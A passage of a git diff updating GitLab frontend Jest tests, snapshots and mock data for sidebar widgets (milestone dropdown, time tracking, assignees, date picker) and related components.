+ it('given an empty array', () => {
+ expect(augmentFeatures(mockSecurityFeatures, mockComplianceFeatures, [])).toEqual(
+ expectedOutputDefault,
+ );
+ });
+
+ it('given an invalid populated array', () => {
+ expect(
+ augmentFeatures(mockSecurityFeatures, mockComplianceFeatures, mockInvalidCustomFeature),
+ ).toEqual(expectedOutputDefault);
+ });
+
+ it('features have secondary key', () => {
+ expect(augmentFeatures(mockSecurityFeatures, mockFeaturesWithSecondary, [])).toEqual(
+ expectedOutputSecondary,
+ );
+ });
+
+ it('given a valid populated array', () => {
+ expect(
+ augmentFeatures(mockSecurityFeatures, mockComplianceFeatures, mockValidCustomFeature),
+ ).toEqual(expectedOutputCustomFeature);
+ });
+});
diff --git a/spec/frontend/self_monitor/components/__snapshots__/self_monitor_form_spec.js.snap b/spec/frontend/self_monitor/components/__snapshots__/self_monitor_form_spec.js.snap
index 226e580a8e8..523f4e88985 100644
--- a/spec/frontend/self_monitor/components/__snapshots__/self_monitor_form_spec.js.snap
+++ b/spec/frontend/self_monitor/components/__snapshots__/self_monitor_form_spec.js.snap
@@ -45,7 +45,9 @@ exports[`self monitor component When the self monitor project has not been creat
Enabling this feature creates a project that can be used to monitor the health of your instance.
</p>
- <gl-form-group-stub>
+ <gl-form-group-stub
+ labeldescription=""
+ >
<gl-toggle-stub
label="Create Project"
labelposition="top"
diff --git a/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap b/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap
index 33df3a66fcd..36f6746b754 100644
--- a/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap
+++ b/spec/frontend/serverless/components/__snapshots__/empty_state_spec.js.snap
@@ -11,7 +11,7 @@ exports[`EmptyStateComponent should render content 1`] = `
<p>In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. <gl-link-stub href=\\"/help\\">More information</gl-link-stub>
</p>
<div class=\\"gl-display-flex gl-flex-wrap gl-justify-content-center\\">
- <gl-button-stub category=\\"primary\\" variant=\\"confirm\\" size=\\"medium\\" icon=\\"\\" buttontextclasses=\\"\\" href=\\"/clusters\\" class=\\"gl-mb-3 gl-mx-2\\">Install Knative</gl-button-stub>
+ <!---->
<!---->
</div>
</div>
diff --git a/spec/frontend/serverless/components/missing_prometheus_spec.js b/spec/frontend/serverless/components/missing_prometheus_spec.js
index d5b187452c6..1b93fd784e1 100644
--- a/spec/frontend/serverless/components/missing_prometheus_spec.js
+++ b/spec/frontend/serverless/components/missing_prometheus_spec.js
@@ -21,7 +21,7 @@ describe('missingPrometheusComponent', () => {
const { vm } = wrapper;
expect(vm.$el.querySelector('.state-description').innerHTML.trim()).toContain(
- 'Function invocation metrics require Prometheus to be installed first.',
+ 'Function invocation metrics require the Prometheus cluster integration.',
);
expect(wrapper.find(GlButton).attributes('variant')).toBe('success');
diff --git a/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js b/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js
index 82fc06e1166..3ff6d1f9597 100644
--- a/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js
+++ b/spec/frontend/set_status_modal/set_status_modal_wrapper_spec.js
@@ -2,7 +2,8 @@ import { GlModal, GlFormCheckbox } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import { initEmojiMock } from 'helpers/emoji';
import * as UserApi from '~/api/user_api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import EmojiPicker from '~/emoji/components/picker.vue';
+import createFlash from '~/flash';
import SetStatusModalWrapper, {
AVAILABILITY_STATUS,
} from '~/set_status_modal/set_status_modal_wrapper.vue';
@@ -25,7 +26,7 @@ describe('SetStatusModalWrapper', () => {
defaultEmoji,
};
- const createComponent = (props = {}) => {
+ const createComponent = (props = {}, improvedEmojiPicker = false) => {
return shallowMount(SetStatusModalWrapper, {
propsData: {
...defaultProps,
@@ -34,6 +35,9 @@ describe('SetStatusModalWrapper', () => {
mocks: {
$toast,
},
+ provide: {
+ glFeatures: { improvedEmojiPicker },
+ },
});
};
@@ -106,6 +110,20 @@ describe('SetStatusModalWrapper', () => {
});
});
+ describe('improvedEmojiPicker is true', () => {
+ beforeEach(async () => {
+ mockEmoji = await initEmojiMock();
+ wrapper = createComponent({}, true);
+ return initModal();
+ });
+
+ it('sets emojiTag when clicking in emoji picker', async () => {
+ await wrapper.findComponent(EmojiPicker).vm.$emit('click', 'thumbsup');
+
+ expect(wrapper.vm.emojiTag).toContain('data-name="thumbsup"');
+ });
+ });
+
describe('with no currentMessage set', () => {
beforeEach(async () => {
mockEmoji = await initEmojiMock();
@@ -271,9 +289,9 @@ describe('SetStatusModalWrapper', () => {
findModal().vm.$emit('ok');
await wrapper.vm.$nextTick();
- expect(createFlash).toHaveBeenCalledWith(
- "Sorry, we weren't able to set your status. Please try again later.",
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: "Sorry, we weren't able to set your status. Please try again later.",
+ });
});
});
});
diff --git a/spec/frontend/sidebar/assignees_spec.js b/spec/frontend/sidebar/assignees_spec.js
index 74dce499999..be27a800418 100644
--- a/spec/frontend/sidebar/assignees_spec.js
+++ b/spec/frontend/sidebar/assignees_spec.js
@@ -19,7 +19,7 @@ describe('Assignee component', () => {
});
};
- const findComponentTextNoUsers = () => wrapper.find('.assign-yourself');
+ const findComponentTextNoUsers = () => wrapper.find('[data-testid="no-value"]');
const findCollapsedChildren = () => wrapper.findAll('.sidebar-collapsed-icon > *');
afterEach(() => {
@@ -64,7 +64,7 @@ describe('Assignee component', () => {
});
jest.spyOn(wrapper.vm, '$emit');
- wrapper.find('.assign-yourself .btn-link').trigger('click');
+ wrapper.find('[data-testid="assign-yourself"]').trigger('click');
return wrapper.vm.$nextTick().then(() => {
expect(wrapper.emitted('assign-self')).toBeTruthy();
diff --git a/spec/frontend/sidebar/components/assignees/sidebar_invite_members_spec.js b/spec/frontend/sidebar/components/assignees/sidebar_invite_members_spec.js
index cfbe7227915..b738d931040 100644
--- a/spec/frontend/sidebar/components/assignees/sidebar_invite_members_spec.js
+++ b/spec/frontend/sidebar/components/assignees/sidebar_invite_members_spec.js
@@ -4,11 +4,16 @@ import SidebarInviteMembers from '~/sidebar/components/assignees/sidebar_invite_
describe('Sidebar invite members component', () => {
let wrapper;
+ const issuableType = 'issue';
const findDirectInviteLink = () => wrapper.findComponent(InviteMembersTrigger);
const createComponent = () => {
- wrapper = shallowMount(SidebarInviteMembers);
+ wrapper = shallowMount(SidebarInviteMembers, {
+ propsData: {
+ issuableType,
+ },
+ });
};
afterEach(() => {
@@ -23,5 +28,9 @@ describe('Sidebar invite members component', () => {
it('renders a direct link to project members path', () => {
expect(findDirectInviteLink().exists()).toBe(true);
});
+
+ it('has expected attributes on the trigger', () => {
+ expect(findDirectInviteLink().props('triggerSource')).toBe('issue-assignee-dropdown');
+ });
});
});
diff --git a/spec/frontend/sidebar/components/date/sidebar_date_widget_spec.js b/spec/frontend/sidebar/components/date/sidebar_date_widget_spec.js
index 91cbcc6cc27..619e89beb23 100644
--- a/spec/frontend/sidebar/components/date/sidebar_date_widget_spec.js
+++ b/spec/frontend/sidebar/components/date/sidebar_date_widget_spec.js
@@ -22,6 +22,10 @@ describe('Sidebar date Widget', () => {
let fakeApollo;
const date = '2021-04-15';
+ window.gon = {
+ first_day_of_week: 1,
+ };
+
const findEditableItem = () => wrapper.findComponent(SidebarEditableItem);
const findPopoverIcon = () => wrapper.find('[data-testid="inherit-date-popover"]');
const findDatePicker = () => wrapper.find(GlDatepicker);
@@ -119,11 +123,12 @@ describe('Sidebar date Widget', () => {
expect(wrapper.emitted('dueDateUpdated')).toEqual([[date]]);
});
- it('uses a correct prop to set the initial date for GlDatePicker', () => {
+ it('uses a correct prop to set the initial date and first day of the week for GlDatePicker', () => {
expect(findDatePicker().props()).toMatchObject({
value: null,
autocomplete: 'off',
defaultDate: expect.any(Object),
+ firstDay: window.gon.first_day_of_week,
});
});
diff --git a/spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js b/spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js
new file mode 100644
index 00000000000..8d58854b013
--- /dev/null
+++ b/spec/frontend/sidebar/components/sidebar_dropdown_widget_spec.js
@@ -0,0 +1,503 @@
+import {
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownText,
+ GlLink,
+ GlSearchBoxByType,
+ GlFormInput,
+ GlLoadingIcon,
+} from '@gitlab/ui';
+import * as Sentry from '@sentry/browser';
+import { createLocalVue, shallowMount, mount } from '@vue/test-utils';
+import VueApollo from 'vue-apollo';
+
+import createMockApollo from 'helpers/mock_apollo_helper';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import waitForPromises from 'helpers/wait_for_promises';
+import createFlash from '~/flash';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { IssuableType } from '~/issue_show/constants';
+import SidebarDropdownWidget from '~/sidebar/components/sidebar_dropdown_widget.vue';
+import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
+import { IssuableAttributeType } from '~/sidebar/constants';
+import projectIssueMilestoneMutation from '~/sidebar/queries/project_issue_milestone.mutation.graphql';
+import projectIssueMilestoneQuery from '~/sidebar/queries/project_issue_milestone.query.graphql';
+import projectMilestonesQuery from '~/sidebar/queries/project_milestones.query.graphql';
+
+import {
+ mockIssue,
+ mockProjectMilestonesResponse,
+ noCurrentMilestoneResponse,
+ mockMilestoneMutationResponse,
+ mockMilestone2,
+ emptyProjectMilestonesResponse,
+} from '../mock_data';
+
+jest.mock('~/flash');
+
+const localVue = createLocalVue();
+
+describe('SidebarDropdownWidget', () => {
+ let wrapper;
+ let mockApollo;
+
+ const promiseData = { issuableSetAttribute: { issue: { attribute: { id: '123' } } } };
+ const firstErrorMsg = 'first error';
+ const promiseWithErrors = {
+ ...promiseData,
+ issuableSetAttribute: { ...promiseData.issuableSetAttribute, errors: [firstErrorMsg] },
+ };
+
+ const mutationSuccess = () => jest.fn().mockResolvedValue({ data: promiseData });
+ const mutationError = () =>
+ jest.fn().mockRejectedValue('Failed to set milestone on this issue. Please try again.');
+ const mutationSuccessWithErrors = () => jest.fn().mockResolvedValue({ data: promiseWithErrors });
+
+ const findGlLink = () => wrapper.findComponent(GlLink);
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findDropdownText = () => wrapper.findComponent(GlDropdownText);
+ const findSearchBox = () => wrapper.findComponent(GlSearchBoxByType);
+ const findAllDropdownItems = () => wrapper.findAllComponents(GlDropdownItem);
+ const findDropdownItemWithText = (text) =>
+ findAllDropdownItems().wrappers.find((x) => x.text() === text);
+
+ const findSidebarEditableItem = () => wrapper.findComponent(SidebarEditableItem);
+ const findEditButton = () => findSidebarEditableItem().find('[data-testid="edit-button"]');
+ const findEditableLoadingIcon = () => findSidebarEditableItem().findComponent(GlLoadingIcon);
+ const findAttributeItems = () => wrapper.findByTestId('milestone-items');
+ const findSelectedAttribute = () => wrapper.findByTestId('select-milestone');
+ const findNoAttributeItem = () => wrapper.findByTestId('no-milestone-item');
+ const findLoadingIconDropdown = () => wrapper.findByTestId('loading-icon-dropdown');
+
+ const waitForDropdown = async () => {
+ // BDropdown first changes its `visible` property
+ // in a requestAnimationFrame callback.
+ // It then emits `shown` event in a watcher for `visible`
+ // Hence we need both of these:
+ await waitForPromises();
+ await wrapper.vm.$nextTick();
+ };
+
+ const waitForApollo = async () => {
+ jest.runOnlyPendingTimers();
+ await waitForPromises();
+ };
+
+ // Used with createComponentWithApollo which uses 'mount'
+ const clickEdit = async () => {
+ await findEditButton().trigger('click');
+
+ await waitForDropdown();
+
+ // We should wait for attributes list to be fetched.
+ await waitForApollo();
+ };
+
+ // Used with createComponent which shallow mounts components
+ const toggleDropdown = async () => {
+ wrapper.vm.$refs.editable.expand();
+
+ await waitForDropdown();
+ };
+
+ const createComponentWithApollo = async ({
+ requestHandlers = [],
+ projectMilestonesSpy = jest.fn().mockResolvedValue(mockProjectMilestonesResponse),
+ currentMilestoneSpy = jest.fn().mockResolvedValue(noCurrentMilestoneResponse),
+ } = {}) => {
+ localVue.use(VueApollo);
+ mockApollo = createMockApollo([
+ [projectMilestonesQuery, projectMilestonesSpy],
+ [projectIssueMilestoneQuery, currentMilestoneSpy],
+ ...requestHandlers,
+ ]);
+
+ wrapper = extendedWrapper(
+ mount(SidebarDropdownWidget, {
+ localVue,
+ provide: { canUpdate: true },
+ apolloProvider: mockApollo,
+ propsData: {
+ workspacePath: mockIssue.projectPath,
+ attrWorkspacePath: mockIssue.projectPath,
+ iid: mockIssue.iid,
+ issuableType: IssuableType.Issue,
+ issuableAttribute: IssuableAttributeType.Milestone,
+ },
+ attachTo: document.body,
+ }),
+ );
+
+ await waitForApollo();
+ };
+
+ const createComponent = ({ data = {}, mutationPromise = mutationSuccess, queries = {} } = {}) => {
+ wrapper = extendedWrapper(
+ shallowMount(SidebarDropdownWidget, {
+ provide: { canUpdate: true },
+ data() {
+ return data;
+ },
+ propsData: {
+ workspacePath: '',
+ attrWorkspacePath: '',
+ iid: '',
+ issuableType: IssuableType.Issue,
+ issuableAttribute: IssuableAttributeType.Milestone,
+ },
+ mocks: {
+ $apollo: {
+ mutate: mutationPromise(),
+ queries: {
+ currentAttribute: { loading: false },
+ attributesList: { loading: false },
+ ...queries,
+ },
+ },
+ },
+ stubs: {
+ SidebarEditableItem,
+ GlSearchBoxByType,
+ GlDropdown,
+ },
+ }),
+ );
+
+ // We need to mock out `showDropdown` which
+ // invokes `show` method of BDropdown used inside GlDropdown.
+ jest.spyOn(wrapper.vm, 'showDropdown').mockImplementation();
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('when not editing', () => {
+ beforeEach(() => {
+ createComponent({
+ data: {
+ currentAttribute: { id: 'id', title: 'title', webUrl: 'webUrl' },
+ },
+ stubs: {
+ GlDropdown,
+ SidebarEditableItem,
+ },
+ });
+ });
+
+ it('shows the current attribute', () => {
+ expect(findSelectedAttribute().text()).toBe('title');
+ });
+
+ it('links to the current attribute', () => {
+ expect(findGlLink().attributes().href).toBe('webUrl');
+ });
+
+ it('does not show a loading spinner next to the heading', () => {
+ expect(findEditableLoadingIcon().exists()).toBe(false);
+ });
+
+ it('shows a loading spinner while fetching the current attribute', () => {
+ createComponent({
+ queries: {
+ currentAttribute: { loading: true },
+ },
+ });
+
+ expect(findEditableLoadingIcon().exists()).toBe(true);
+ });
+
+ it('shows the loading spinner and the title of the selected attribute while updating', () => {
+ createComponent({
+ data: {
+ updating: true,
+ selectedTitle: 'Some milestone title',
+ },
+ queries: {
+ currentAttribute: { loading: false },
+ },
+ });
+
+ expect(findEditableLoadingIcon().exists()).toBe(true);
+ expect(findSelectedAttribute().text()).toBe('Some milestone title');
+ });
+
+ describe('when current attribute does not exist', () => {
+ it('renders "None" as the selected attribute title', () => {
+ createComponent();
+
+ expect(findSelectedAttribute().text()).toBe('None');
+ });
+ });
+ });
+
+ describe('when a user can edit', () => {
+ describe('when user is editing', () => {
+ describe('when rendering the dropdown', () => {
+ it('shows a loading spinner while fetching a list of attributes', async () => {
+ createComponent({
+ queries: {
+ attributesList: { loading: true },
+ },
+ });
+
+ await toggleDropdown();
+
+ expect(findLoadingIconDropdown().exists()).toBe(true);
+ });
+
+ describe('GlDropdownItem with the right title and id', () => {
+ const id = 'id';
+ const title = 'title';
+
+ beforeEach(async () => {
+ createComponent({
+ data: { attributesList: [{ id, title }], currentAttribute: { id, title } },
+ });
+
+ await toggleDropdown();
+ });
+
+ it('does not show a loading spinner', () => {
+ expect(findLoadingIconDropdown().exists()).toBe(false);
+ });
+
+ it('renders title $title', () => {
+ expect(findDropdownItemWithText(title).exists()).toBe(true);
+ });
+
+ it('checks the correct dropdown item', () => {
+ expect(
+ findAllDropdownItems()
+ .filter((w) => w.props('isChecked') === true)
+ .at(0)
+ .text(),
+ ).toBe(title);
+ });
+ });
+
+ describe('when no data is assigned', () => {
+ beforeEach(async () => {
+ createComponent();
+
+ await toggleDropdown();
+ });
+
+ it('finds GlDropdownItem with "No milestone"', () => {
+ expect(findNoAttributeItem().text()).toBe('No milestone');
+ });
+
+ it('"No milestone" is checked', () => {
+ expect(findNoAttributeItem().props('isChecked')).toBe(true);
+ });
+
+ it('does not render any dropdown item', () => {
+ expect(findAttributeItems().exists()).toBe(false);
+ });
+ });
+
+ describe('when clicking on dropdown item', () => {
+ describe('when currentAttribute is equal to attribute id', () => {
+ it('does not call setIssueAttribute mutation', async () => {
+ createComponent({
+ data: {
+ attributesList: [{ id: 'id', title: 'title' }],
+ currentAttribute: { id: 'id', title: 'title' },
+ },
+ });
+
+ await toggleDropdown();
+
+ findDropdownItemWithText('title').vm.$emit('click');
+
+ expect(wrapper.vm.$apollo.mutate).toHaveBeenCalledTimes(0);
+ });
+ });
+
+ describe('when currentAttribute is not equal to attribute id', () => {
+ describe('when error', () => {
+ const bootstrapComponent = (mutationResp) => {
+ createComponent({
+ data: {
+ attributesList: [
+ { id: '123', title: '123' },
+ { id: 'id', title: 'title' },
+ ],
+ currentAttribute: '123',
+ },
+ mutationPromise: mutationResp,
+ });
+ };
+
+ describe.each`
+ description | mutationResp | expectedMsg
+ ${'top-level error'} | ${mutationError} | ${'Failed to set milestone on this issue. Please try again.'}
+ ${'user-recoverable error'} | ${mutationSuccessWithErrors} | ${firstErrorMsg}
+ `(`$description`, ({ mutationResp, expectedMsg }) => {
+ beforeEach(async () => {
+ bootstrapComponent(mutationResp);
+
+ await toggleDropdown();
+
+ findDropdownItemWithText('title').vm.$emit('click');
+ });
+
+ it(`calls createFlash with "${expectedMsg}"`, async () => {
+ await wrapper.vm.$nextTick();
+ expect(createFlash).toHaveBeenCalledWith({
+ message: expectedMsg,
+ captureError: true,
+ error: expectedMsg,
+ });
+ });
+ });
+ });
+ });
+ });
+ });
+
+ describe('when a user is searching', () => {
+ describe('when search result is not found', () => {
+ it('renders "No milestone found"', async () => {
+ createComponent();
+
+ await toggleDropdown();
+
+ findSearchBox().vm.$emit('input', 'non existing milestones');
+
+ await wrapper.vm.$nextTick();
+
+ expect(findDropdownText().text()).toBe('No milestone found');
+ });
+ });
+ });
+ });
+ });
+
+ describe('with mock apollo', () => {
+ let error;
+
+ beforeEach(() => {
+ jest.spyOn(Sentry, 'captureException');
+ error = new Error('mayday');
+ });
+
+ describe("when issuable type is 'issue'", () => {
+ describe('when dropdown is expanded and user can edit', () => {
+ let milestoneMutationSpy;
+ beforeEach(async () => {
+ milestoneMutationSpy = jest.fn().mockResolvedValue(mockMilestoneMutationResponse);
+
+ await createComponentWithApollo({
+ requestHandlers: [[projectIssueMilestoneMutation, milestoneMutationSpy]],
+ });
+
+ await clickEdit();
+ });
+
+ it('renders the dropdown on clicking edit', async () => {
+ expect(findDropdown().isVisible()).toBe(true);
+ });
+
+ it('focuses on the input when dropdown is shown', async () => {
+ expect(document.activeElement).toEqual(wrapper.findComponent(GlFormInput).element);
+ });
+
+ describe('when currentAttribute is not equal to attribute id', () => {
+ describe('when update is successful', () => {
+ beforeEach(() => {
+ findDropdownItemWithText(mockMilestone2.title).vm.$emit('click');
+ });
+
+ it('calls setIssueAttribute mutation', () => {
+ expect(milestoneMutationSpy).toHaveBeenCalledWith({
+ iid: mockIssue.iid,
+ attributeId: getIdFromGraphQLId(mockMilestone2.id),
+ fullPath: mockIssue.projectPath,
+ });
+ });
+
+ it('sets the value returned from the mutation to currentAttribute', async () => {
+ expect(findSelectedAttribute().text()).toBe(mockMilestone2.title);
+ });
+ });
+ });
+
+ describe('milestones', () => {
+ let projectMilestonesSpy;
+
+ it('should call createFlash if milestones query fails', async () => {
+ await createComponentWithApollo({
+ projectMilestonesSpy: jest.fn().mockRejectedValue(error),
+ });
+
+ await clickEdit();
+
+ expect(createFlash).toHaveBeenCalledWith({
+ message: wrapper.vm.i18n.listFetchError,
+ captureError: true,
+ error: expect.any(Error),
+ });
+ });
+
+ it('only fetches attributes when dropdown is opened', async () => {
+ projectMilestonesSpy = jest.fn().mockResolvedValueOnce(emptyProjectMilestonesResponse);
+ await createComponentWithApollo({ projectMilestonesSpy });
+
+ expect(projectMilestonesSpy).not.toHaveBeenCalled();
+
+ await clickEdit();
+
+ expect(projectMilestonesSpy).toHaveBeenNthCalledWith(1, {
+ fullPath: mockIssue.projectPath,
+ title: '',
+ state: 'active',
+ });
+ });
+
+ describe('when a user is searching', () => {
+ const mockSearchTerm = 'foobar';
+
+ beforeEach(async () => {
+ projectMilestonesSpy = jest
+ .fn()
+ .mockResolvedValueOnce(emptyProjectMilestonesResponse);
+ await createComponentWithApollo({ projectMilestonesSpy });
+
+ await clickEdit();
+ });
+
+ it('sends a projectMilestones query with the entered search term "foo"', async () => {
+ findSearchBox().vm.$emit('input', mockSearchTerm);
+ await wrapper.vm.$nextTick();
+
+ // Account for debouncing
+ jest.runAllTimers();
+
+ expect(projectMilestonesSpy).toHaveBeenNthCalledWith(2, {
+ fullPath: mockIssue.projectPath,
+ title: mockSearchTerm,
+ state: 'active',
+ });
+ });
+ });
+ });
+ });
+
+ describe('currentAttributes', () => {
+ it('should call createFlash if currentAttributes query fails', async () => {
+ await createComponentWithApollo({
+ currentMilestoneSpy: jest.fn().mockRejectedValue(error),
+ });
+
+ expect(createFlash).toHaveBeenCalledWith({
+ message: wrapper.vm.i18n.currentFetchError,
+ captureError: true,
+ error: expect.any(Error),
+ });
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/sidebar/components/time_tracking/report_spec.js b/spec/frontend/sidebar/components/time_tracking/report_spec.js
index 0aa5aa2f691..710fae8ddf7 100644
--- a/spec/frontend/sidebar/components/time_tracking/report_spec.js
+++ b/spec/frontend/sidebar/components/time_tracking/report_spec.js
@@ -36,7 +36,7 @@ describe('Issuable Time Tracking Report', () => {
issuableId: 1,
issuableType,
},
- propsData: { limitToHours },
+ propsData: { limitToHours, issuableId: '1' },
localVue,
apolloProvider: fakeApollo,
});
diff --git a/spec/frontend/sidebar/components/time_tracking/time_tracker_spec.js b/spec/frontend/sidebar/components/time_tracking/time_tracker_spec.js
index f26cdcb8b20..e08bd80b18e 100644
--- a/spec/frontend/sidebar/components/time_tracking/time_tracker_spec.js
+++ b/spec/frontend/sidebar/components/time_tracking/time_tracker_spec.js
@@ -1,7 +1,11 @@
import { mount } from '@vue/test-utils';
+
import { stubTransition } from 'helpers/stub_transition';
import { createMockDirective } from 'helpers/vue_mock_directive';
import TimeTracker from '~/sidebar/components/time_tracking/time_tracker.vue';
+import SidebarEventHub from '~/sidebar/event_hub';
+
+import { issuableTimeTrackingResponse } from '../../mock_data';
describe('Issuable Time Tracker', () => {
let wrapper;
@@ -13,21 +17,39 @@ describe('Issuable Time Tracker', () => {
const findReportLink = () => findByTestId('reportLink');
const defaultProps = {
- timeEstimate: 10_000, // 2h 46m
- timeSpent: 5_000, // 1h 23m
- humanTimeEstimate: '2h 46m',
- humanTimeSpent: '1h 23m',
limitToHours: false,
+ fullPath: 'gitlab-org/gitlab-test',
+ issuableIid: '1',
+ initialTimeTracking: {
+ ...issuableTimeTrackingResponse.data.workspace.issuable,
+ },
};
- const mountComponent = ({ props = {} } = {}) =>
- mount(TimeTracker, {
+ const issuableTimeTrackingRefetchSpy = jest.fn();
+
+ const mountComponent = ({ props = {}, issuableType = 'issue', loading = false } = {}) => {
+ return mount(TimeTracker, {
propsData: { ...defaultProps, ...props },
directives: { GlTooltip: createMockDirective() },
stubs: {
transition: stubTransition(),
},
+ provide: {
+ issuableType,
+ },
+ mocks: {
+ $apollo: {
+ queries: {
+ issuableTimeTracking: {
+ loading,
+ refetch: issuableTimeTrackingRefetchSpy,
+ query: jest.fn().mockResolvedValue(issuableTimeTrackingResponse),
+ },
+ },
+ },
+ },
});
+ };
afterEach(() => {
wrapper.destroy();
@@ -44,13 +66,13 @@ describe('Issuable Time Tracker', () => {
it('should correctly render timeEstimate', () => {
expect(findByTestId('timeTrackingComparisonPane').html()).toContain(
- defaultProps.humanTimeEstimate,
+ defaultProps.initialTimeTracking.humanTimeEstimate,
);
});
- it('should correctly render time_spent', () => {
+ it('should correctly render totalTimeSpent', () => {
expect(findByTestId('timeTrackingComparisonPane').html()).toContain(
- defaultProps.humanTimeSpent,
+ defaultProps.initialTimeTracking.humanTotalTimeSpent,
);
});
});
@@ -78,10 +100,12 @@ describe('Issuable Time Tracker', () => {
beforeEach(() => {
wrapper = mountComponent({
props: {
- timeEstimate: 100_000, // 1d 3h
- timeSpent: 5_000, // 1h 23m
- humanTimeEstimate: '1d 3h',
- humanTimeSpent: '1h 23m',
+ initialTimeTracking: {
+ timeEstimate: 100_000, // 1d 3h
+ totalTimeSpent: 5_000, // 1h 23m
+ humanTimeEstimate: '1d 3h',
+ humanTotalTimeSpent: '1h 23m',
+ },
},
});
});
@@ -108,8 +132,11 @@ describe('Issuable Time Tracker', () => {
it('should display the remaining meter with the correct background color when over estimate', () => {
wrapper = mountComponent({
props: {
- timeEstimate: 10_000, // 2h 46m
- timeSpent: 20_000_000, // 231 days
+ initialTimeTracking: {
+ ...defaultProps.initialTimeTracking,
+ timeEstimate: 10_000, // 2h 46m
+ totalTimeSpent: 20_000_000, // 231 days
+ },
},
});
@@ -122,8 +149,11 @@ describe('Issuable Time Tracker', () => {
beforeEach(async () => {
wrapper = mountComponent({
props: {
- timeEstimate: 100_000, // 1d 3h
limitToHours: true,
+ initialTimeTracking: {
+ ...defaultProps.initialTimeTracking,
+ timeEstimate: 100_000, // 1d 3h
+ },
},
});
});
@@ -140,10 +170,12 @@ describe('Issuable Time Tracker', () => {
beforeEach(async () => {
wrapper = mountComponent({
props: {
- timeEstimate: 10_000, // 2h 46m
- timeSpent: 0,
- timeEstimateHumanReadable: '2h 46m',
- timeSpentHumanReadable: '',
+ initialTimeTracking: {
+ timeEstimate: 10_000, // 2h 46m
+ totalTimeSpent: 0,
+ humanTimeEstimate: '2h 46m',
+ humanTotalTimeSpent: '',
+ },
},
});
await wrapper.vm.$nextTick();
@@ -159,10 +191,12 @@ describe('Issuable Time Tracker', () => {
beforeEach(() => {
wrapper = mountComponent({
props: {
- timeEstimate: 0,
- timeSpent: 5_000, // 1h 23m
- timeEstimateHumanReadable: '2h 46m',
- timeSpentHumanReadable: '1h 23m',
+ initialTimeTracking: {
+ timeEstimate: 0,
+ totalTimeSpent: 5_000, // 1h 23m
+ humanTimeEstimate: '2h 46m',
+ humanTotalTimeSpent: '1h 23m',
+ },
},
});
});
@@ -177,10 +211,12 @@ describe('Issuable Time Tracker', () => {
beforeEach(() => {
wrapper = mountComponent({
props: {
- timeEstimate: 0,
- timeSpent: 0,
- timeEstimateHumanReadable: '',
- timeSpentHumanReadable: '',
+ initialTimeTracking: {
+ timeEstimate: 0,
+ totalTimeSpent: 0,
+ humanTimeEstimate: '',
+ humanTotalTimeSpent: '',
+ },
},
});
});
@@ -198,8 +234,11 @@ describe('Issuable Time Tracker', () => {
beforeEach(() => {
wrapper = mountComponent({
props: {
- timeSpent: 0,
- timeSpentHumanReadable: '',
+ initialTimeTracking: {
+ ...defaultProps.initialTimeTracking,
+ totalTimeSpent: 0,
+ humanTotalTimeSpent: '',
+ },
},
});
});
@@ -210,13 +249,20 @@ describe('Issuable Time Tracker', () => {
});
describe('When time spent', () => {
- beforeEach(() => {
+ it('link should appear on issue', () => {
wrapper = mountComponent();
+ expect(findReportLink().exists()).toBe(true);
});
- it('link should appear', () => {
+ it('link should appear on merge request', () => {
+ wrapper = mountComponent({ issuableType: 'merge_request' });
expect(findReportLink().exists()).toBe(true);
});
+
+ it('link should not appear on milestone', () => {
+ wrapper = mountComponent({ issuableType: 'milestone' });
+ expect(findReportLink().exists()).toBe(false);
+ });
});
});
@@ -225,7 +271,16 @@ describe('Issuable Time Tracker', () => {
const findCloseHelpButton = () => findByTestId('closeHelpButton');
beforeEach(async () => {
- wrapper = mountComponent({ props: { timeEstimate: 0, timeSpent: 0 } });
+ wrapper = mountComponent({
+ props: {
+ initialTimeTracking: {
+ timeEstimate: 0,
+ totalTimeSpent: 0,
+ humanTimeEstimate: '',
+ humanTotalTimeSpent: '',
+ },
+ },
+ });
await wrapper.vm.$nextTick();
});
@@ -254,4 +309,14 @@ describe('Issuable Time Tracker', () => {
});
});
});
+
+ describe('Event listeners', () => {
+ it('refetches issuableTimeTracking query when eventHub emits `timeTracker:refresh` event', async () => {
+ SidebarEventHub.$emit('timeTracker:refresh');
+
+ await wrapper.vm.$nextTick();
+
+ expect(issuableTimeTrackingRefetchSpy).toHaveBeenCalled();
+ });
+ });
});
diff --git a/spec/frontend/sidebar/mock_data.js b/spec/frontend/sidebar/mock_data.js
index b052038661a..d6287b93fb9 100644
--- a/spec/frontend/sidebar/mock_data.js
+++ b/spec/frontend/sidebar/mock_data.js
@@ -513,4 +513,100 @@ export const participantsQueryResponse = {
},
};
+export const mockGroupPath = 'gitlab-org';
+export const mockProjectPath = `${mockGroupPath}/some-project`;
+
+export const mockIssue = {
+ projectPath: mockProjectPath,
+ iid: '1',
+ groupPath: mockGroupPath,
+};
+
+export const mockIssueId = 'gid://gitlab/Issue/1';
+
+export const mockMilestone1 = {
+ __typename: 'Milestone',
+ id: 'gid://gitlab/Milestone/1',
+ title: 'Foobar Milestone',
+ webUrl: 'http://gdk.test:3000/groups/gitlab-org/-/milestones/1',
+ state: 'active',
+};
+
+export const mockMilestone2 = {
+ __typename: 'Milestone',
+ id: 'gid://gitlab/Milestone/2',
+ title: 'Awesome Milestone',
+ webUrl: 'http://gdk.test:3000/groups/gitlab-org/-/milestones/2',
+ state: 'active',
+};
+
+export const mockProjectMilestonesResponse = {
+ data: {
+ workspace: {
+ attributes: {
+ nodes: [mockMilestone1, mockMilestone2],
+ },
